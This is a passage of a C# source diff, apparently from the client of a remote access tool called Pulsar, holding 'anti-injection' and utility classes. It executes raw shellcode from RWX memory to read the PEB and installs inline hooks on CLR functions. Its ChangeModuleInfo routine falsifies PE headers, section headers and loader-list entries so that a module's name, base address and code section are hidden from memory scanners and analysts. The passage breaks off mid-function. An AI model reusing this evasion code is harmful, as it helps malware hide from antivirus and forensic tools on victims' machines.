public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsReflectionEnabled(false, true))
|
||||
return null;
|
||||
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
|
||||
return null;
|
||||
MethodInfo MI = null;
|
||||
foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static))
|
||||
{
|
||||
if (methods.Name.ToLower() == InternalMethod.ToLower())
|
||||
{
|
||||
if (methods.ReturnType == ReturnType)
|
||||
{
|
||||
MI = methods;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (MI.IsGenericMethod && GenericParameter != null)
|
||||
{
|
||||
MI = MI.MakeGenericMethod(GenericParameter);
|
||||
}
|
||||
|
||||
if (MI != null)
|
||||
{
|
||||
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
|
||||
return MI.Invoke(instance, InvokeParameters);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private static uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
private static uint MEM_RELEASE = 0x00008000;
|
||||
|
||||
/// <summary>
|
||||
/// Gets the Process Environment Block with it's struct.
|
||||
/// </summary>
|
||||
/// <returns>returns the PEB.</returns>
|
||||
public static PEB GetPEB()
|
||||
{
|
||||
byte[] PEBCode = new byte[20];
|
||||
if (IntPtr.Size == 8)
|
||||
PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 };
|
||||
else
|
||||
PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 };
|
||||
IntPtr AllocatedCode = AllocateCode(PEBCode);
|
||||
if (AllocatedCode != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr));
|
||||
IntPtr PebPtr = PebDel();
|
||||
FreeCode(AllocatedCode);
|
||||
if (PebPtr != IntPtr.Zero)
|
||||
{
|
||||
return Marshal.PtrToStructure<PEB>(PebPtr);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
FreeCode(AllocatedCode);
|
||||
}
|
||||
}
|
||||
return new PEB();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Allocates assembly code from byte array.
|
||||
/// </summary>
|
||||
/// <param name="Code">The assembly code in byte array.</param>
|
||||
/// <returns>Allocated memory to the assembly code.</returns>
|
||||
public static IntPtr AllocateCode(byte[] Code)
|
||||
{
|
||||
IntPtr Allocated = IntPtr.Zero;
|
||||
uint Length = (uint)Code.Length;
|
||||
uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE);
|
||||
if (Status == 0)
|
||||
{
|
||||
CopyMem(Allocated, Code, false);
|
||||
return Allocated;
|
||||
}
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Frees the allocated memory.
|
||||
/// </summary>
|
||||
/// <param name="AllocatedCode">The allocated assembly code to be freed.</param>
|
||||
/// <returns>An indicator if the memory was freed or not.</returns>
|
||||
public static bool FreeCode(IntPtr AllocatedCode)
|
||||
{
|
||||
return VirtualFree(AllocatedCode, 0, MEM_RELEASE);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Closes a handle.
|
||||
/// </summary>
|
||||
/// <param name="Handle">The handle to be closed.</param>
|
||||
/// <returns>true if the handle has been closed, otherwise false.</returns>
|
||||
public static bool CloseHandle(IntPtr Handle)
|
||||
{
|
||||
if (NtClose(Handle) == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength)
|
||||
{
|
||||
uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION));
|
||||
uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength);
|
||||
if (Result == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Installs a function hook.
|
||||
/// </summary>
|
||||
/// <param name="Source">The source function pointer to be hooked.</param>
|
||||
/// <param name="Destination">The destination function pointer to be the hooking function.</param>
|
||||
/// <param name="Hooked">The hooked code which will be written to if you wanna hook the function later (6 bytes in length).</param>
|
||||
private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked)
|
||||
{
|
||||
byte[] HookCode = new byte[6];
|
||||
HookCode[0] = 0x90;
|
||||
HookCode[1] = 0xE9;
|
||||
if (IntPtr.Size == 8)
|
||||
{
|
||||
long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length;
|
||||
byte[] offsetBytes = BitConverter.GetBytes(offset);
|
||||
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length;
|
||||
byte[] offsetBytes = BitConverter.GetBytes((int)offset);
|
||||
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
|
||||
}
|
||||
CopyMem(Source, HookCode, true);
|
||||
Hooked = HookCode;
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Installs/Uninstalls a hook to/from the function.
|
||||
/// </summary>
|
||||
/// <param name="code">The code which is hooked/unhooked to apply.</param>
|
||||
/// <param name="pFunction">pointer to the function.</param>
|
||||
public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction)
|
||||
{
|
||||
CopyMem(pFunction, code, true);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The whitelisted function by the hook which should get the original function pointer.
|
||||
/// </summary>
|
||||
/// <param name="MI">The method to get the pointer for.</param>
|
||||
/// <returns>Returns the pointer if successful, otherwise IntPtr.Zero</returns>
|
||||
public static IntPtr GetPointer(MethodInfo MI)
|
||||
{
|
||||
return MI.MethodHandle.GetFunctionPointer();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The whitelisted function by the hook which should get the original function pointer from the delegate.
|
||||
/// </summary>
|
||||
/// <param name="MI">The method to get the pointer for.</param>
|
||||
/// <returns>Returns the pointer if successful, otherwise IntPtr.Zero</returns>
|
||||
public static IntPtr GetPointerDelegate(Delegate DelegateMethod)
|
||||
{
|
||||
if (IsReflectionEnabled(false, true))
|
||||
{
|
||||
return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod });
|
||||
}
|
||||
return Marshal.GetFunctionPointerForDelegate(DelegateMethod);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Installs a CLR hook.
|
||||
/// </summary>
|
||||
/// <param name="SourceFunction">The method to be hooked.</param>
|
||||
/// <param name="DestinationFunction">The hook method.</param>
|
||||
/// <param name="OriginalCode">The original code which will be written to if you wanna unhook the function later (6 bytes in length).</param>
|
||||
/// <param name="HookedCode">The hook code which can be used to hook the function after unhooking it (6 bytes in length).</param>
|
||||
/// <param name="pFunction">A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.</param>
|
||||
/// <returns>Returns true if successfully hooked, otherwise false.</returns>
|
||||
public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsReflectionEnabled(true, true))
|
||||
{
|
||||
HookedCode = null;
|
||||
pFunction = IntPtr.Zero;
|
||||
return false;
|
||||
}
|
||||
RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle);
|
||||
RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle);
|
||||
IntPtr pSource = GetPointer(SourceFunction);
|
||||
IntPtr pDestination = GetPointer(DestinationFunction);
|
||||
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
|
||||
{
|
||||
if (OriginalCode != null)
|
||||
CopyMem(OriginalCode, pSource, false);
|
||||
if (HookFunction(pSource, pDestination, out HookedCode))
|
||||
{
|
||||
pFunction = pSource;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
HookedCode = null;
|
||||
pFunction = IntPtr.Zero;
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
HookedCode = null;
|
||||
pFunction = IntPtr.Zero;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Installs a CLR hook using delegates, for some software that have AOT.
|
||||
/// </summary>
|
||||
/// <param name="SourceFunction">The method to be hooked.</param>
|
||||
/// <param name="DestinationFunction">The hook method.</param>
|
||||
/// <param name="OriginalCode">The original code which will be written to if you wanna unhook the function later (6 bytes in length).</param>
|
||||
/// <param name="HookedCode">The hook code which can be used to hook the function after unhooking it (6 bytes in length).</param>
|
||||
/// <param name="pFunction">A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.</param>
|
||||
/// <returns>Returns true if successfully hooked, otherwise false.</returns>
|
||||
public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr pSource = GetPointerDelegate(SourceFunction);
|
||||
IntPtr pDestination = GetPointerDelegate(DestinationFunction);
|
||||
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
|
||||
{
|
||||
if (OriginalCode != null)
|
||||
CopyMem(OriginalCode, pSource, false);
|
||||
if (HookFunction(pSource, pDestination, out HookedCode))
|
||||
{
|
||||
pFunction = pSource;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
HookedCode = null;
|
||||
pFunction = IntPtr.Zero;
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
HookedCode = null;
|
||||
pFunction = IntPtr.Zero;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,411 @@
|
||||
using Pulsar.Client.Anti.Helper;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using static Pulsar.Client.Anti.Helper.Structs;
|
||||
|
||||
namespace Pulsar.Client.Anti.Injection
|
||||
{
|
||||
public static class Spoofs
|
||||
{
|
||||
public const int BaseAddress = 1 << 0;
|
||||
public const int ModuleName = 1 << 1;
|
||||
public const int AddressOfEntryPoint = 1 << 2;
|
||||
public const int SizeOfImage = 1 << 3;
|
||||
public const int NumberOfSections = 1 << 4;
|
||||
public const int ImageMagic = 1 << 5;
|
||||
public const int NotExecutableNorDll = 1 << 6;
|
||||
public const int PESignature = 1 << 7;
|
||||
public const int ExecutableSectionName = 1 << 8;
|
||||
public const int ExecutableSectionRawSize = 1 << 9;
|
||||
public const int ExecutableSectionRawPointer = 1 << 10;
|
||||
public const int ClearExecutableSectionCharacteristics = 1 << 11;
|
||||
public const int ExecutableSectionVirtualSize = 1 << 12;
|
||||
}
|
||||
|
||||
public class AntiInjection
|
||||
{
|
||||
|
||||
#region WinApi
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string lib);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
|
||||
|
||||
[DllImport("kernelbase.dll", SetLastError = true)]
|
||||
public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded.
|
||||
/// </summary>
|
||||
/// <returns>Returns "Success" if the policy was set successfully, otherwise "Failed".</returns>
|
||||
public static string SetDllLoadPolicy()
|
||||
{
|
||||
Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
|
||||
{
|
||||
MicrosoftSignedOnly = 1
|
||||
};
|
||||
if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy)))
|
||||
return "Success";
|
||||
return "Failed";
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Detects if an address is in range inside modules or not.
|
||||
/// </summary>
|
||||
/// <param name="Address">The address to check for.</param>
|
||||
/// <returns>Returns true if the address is in no module, otherwise false.</returns>
|
||||
private static bool IsAddressInRange(IntPtr Address)
|
||||
{
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||
{
|
||||
IntPtr Base = module.BaseAddress;
|
||||
IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize);
|
||||
if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64())
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Detects if an address is in range inside modules or not.
|
||||
/// </summary>
|
||||
/// <param name="Syscall">Specifies whether we use syscalls for the check or not.</param>
|
||||
/// <param name="CheckModuleRange">Check if the threads start address is within modules range or not.</param>
|
||||
/// <returns>Returns true if no thread is injected, otherwise false.</returns>
|
||||
public static bool CheckInjectedThreads()
|
||||
{
|
||||
|
||||
uint MEM_IMAGE = 0x1000000;
|
||||
uint MEM_COMMIT = 0x1000;
|
||||
int ThreadQuerySetWin32StartAddress = 9;
|
||||
uint THREAD_QUERY_INFORMATION = 0x0040;
|
||||
int PID = Process.GetCurrentProcess().Id;
|
||||
foreach (ProcessThread thread in Process.GetCurrentProcess().Threads)
|
||||
{
|
||||
CLIENT_ID CI = new CLIENT_ID
|
||||
{
|
||||
UniqueProcess = (IntPtr)PID,
|
||||
UniqueThread = (IntPtr)thread.Id
|
||||
};
|
||||
|
||||
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
|
||||
{
|
||||
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
|
||||
RootDirectory = IntPtr.Zero,
|
||||
ObjectName = IntPtr.Zero,
|
||||
Attributes = 0,
|
||||
SecurityDescriptor = IntPtr.Zero,
|
||||
SecurityQualityOfService = IntPtr.Zero
|
||||
};
|
||||
|
||||
IntPtr hThread = IntPtr.Zero;
|
||||
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
|
||||
if (Status == 0 || hThread != IntPtr.Zero)
|
||||
{
|
||||
IntPtr StartAddress = IntPtr.Zero;
|
||||
int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero);
|
||||
Utils.CloseHandle(hThread);
|
||||
if (QueryStatus == 0)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION();
|
||||
if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _))
|
||||
{
|
||||
if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Generate a random module name.
|
||||
/// </summary>
|
||||
/// <returns>the random module name.</returns>
|
||||
private static string GenerateRandomString()
|
||||
{
|
||||
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
Random random = new Random();
|
||||
int RandomLength = random.Next(6, 32);
|
||||
char[] NewModule = new char[RandomLength];
|
||||
for (int i = 0; i < RandomLength; i++)
|
||||
{
|
||||
NewModule[i] = Letters[random.Next(Letters.Length)];
|
||||
}
|
||||
return new string(NewModule);
|
||||
}
|
||||
|
||||
private static bool IsFlagsSet(int SpoofOptions, int[] spoofs)
|
||||
{
|
||||
foreach (int spoofa in spoofs)
|
||||
{
|
||||
if ((SpoofOptions & spoofa) == spoofa)
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static bool IsPE_FlagsSet(int SpoofOptions)
|
||||
{
|
||||
int[] spoofs = {
|
||||
Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize,
|
||||
Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic,
|
||||
Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics,
|
||||
Spoofs.ExecutableSectionVirtualSize
|
||||
};
|
||||
return IsFlagsSet(SpoofOptions, spoofs);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Changes the module information at runtime to avoid modification/lookups.
|
||||
/// </summary>
|
||||
/// <param name="ModuleName">The module name which we will change it's information. if left null, we get the main module of the process.</param>
|
||||
/// <param name="SpoofOptions">The spoofing options to apply.</param>
|
||||
/// <returns>Returns true if successfully changed the module info, otherwise false.</returns>
|
||||
public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions)
|
||||
{
|
||||
try
|
||||
{
|
||||
string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName;
|
||||
if (string.IsNullOrEmpty(FinalModuleName))
|
||||
return false;
|
||||
|
||||
IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName);
|
||||
if (hModule == IntPtr.Zero)
|
||||
return false;
|
||||
|
||||
string Fake = $"{GenerateRandomString()}.dll";
|
||||
PEB Peb = Utils.GetPEB();
|
||||
_PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr);
|
||||
IntPtr f = Ldr.InMemoryOrderModuleList.Flink;
|
||||
Random RandGen = new Random();
|
||||
|
||||
for (int count = 0; count < 256 && f != IntPtr.Zero; count++)
|
||||
{
|
||||
_LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f);
|
||||
string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer);
|
||||
|
||||
if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName)
|
||||
{
|
||||
if (IsPE_FlagsSet(SpoofOptions))
|
||||
{
|
||||
int[] SectionSpoof = {
|
||||
Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer,
|
||||
Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize
|
||||
};
|
||||
|
||||
IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(hModule);
|
||||
IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew);
|
||||
|
||||
if (IntPtr.Size == 8)
|
||||
{
|
||||
IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS64>(pNtHeaders);
|
||||
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
|
||||
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
|
||||
|
||||
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
|
||||
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
|
||||
|
||||
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
|
||||
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
|
||||
|
||||
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
|
||||
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
|
||||
|
||||
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
|
||||
{
|
||||
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
|
||||
ushort IMAGE_FILE_DLL = 0x2000;
|
||||
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
|
||||
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
|
||||
}
|
||||
|
||||
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
|
||||
NtHeadersStruct.Signature = 0x4D5A0000;
|
||||
|
||||
if (IsFlagsSet(SpoofOptions, SectionSpoof))
|
||||
{
|
||||
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
|
||||
IntPtr pSectionHeader = pSectionHeaders;
|
||||
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
|
||||
|
||||
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
|
||||
uint IMAGE_SCN_CNT_CODE = 0x00000020;
|
||||
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
|
||||
{
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
|
||||
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
|
||||
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
|
||||
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
|
||||
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
|
||||
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
|
||||
|
||||
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
|
||||
SectionHeader.Characteristics = 0;
|
||||
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
|
||||
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
|
||||
|
||||
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
|
||||
break;
|
||||
}
|
||||
|
||||
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
|
||||
}
|
||||
}
|
||||
|
||||
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
|
||||
}
|
||||
else
|
||||
{
|
||||
IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS32>(pNtHeaders);
|
||||
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
|
||||
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
|
||||
|
||||
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
|
||||
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
|
||||
|
||||
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
|
||||
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
|
||||
|
||||
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
|
||||
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
|
||||
|
||||
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
|
||||
{
|
||||
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
|
||||
ushort IMAGE_FILE_DLL = 0x2000;
|
||||
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
|
||||
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
|
||||
}
|
||||
|
||||
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
|
||||
NtHeadersStruct.Signature = 0x4D5A0000;
|
||||
|
||||
if (IsFlagsSet(SpoofOptions, SectionSpoof))
|
||||
{
|
||||
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
|
||||
IntPtr pSectionHeader = pSectionHeaders;
|
||||
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
|
||||
|
||||
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
|
||||
uint IMAGE_SCN_CNT_CODE = 0x00000020;
|
||||
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
|
||||
{
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
|
||||
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
|
||||
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
|
||||
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
|
||||
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
|
||||
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
|
||||
|
||||
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
|
||||
SectionHeader.Characteristics = 0;
|
||||
|
||||
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
|
||||
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
|
||||
|
||||
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
|
||||
break;
|
||||
}
|
||||
|
||||
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
|
||||
}
|
||||
}
|
||||
|
||||
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
|
||||
}
|
||||
}
|
||||
|
||||
if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress)
|
||||
{
|
||||
TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000);
|
||||
}
|
||||
|
||||
if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName)
|
||||
{
|
||||
IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake);
|
||||
TableEntry.FullDllName.Buffer = FakeDllBuffer;
|
||||
TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2);
|
||||
TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2);
|
||||
}
|
||||
|
||||
Utils.WriteStructToPtr(TableEntry, f, true, true);
|
||||
return true;
|
||||
}
|
||||
f = TableEntry.InLoadOrderLinks.Flink;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Changes CLR Module ImageMagic to prevent critical info lookups.
|
||||
/// </summary>
|
||||
/// <returns>Returns true if successful, otherwise false.</returns>
|
||||
public static bool ChangeCLRModuleImageMagic()
|
||||
{
|
||||
string CLR = Utils.GetCurrentCLRModuleName();
|
||||
if (!string.IsNullOrEmpty(CLR))
|
||||
{
|
||||
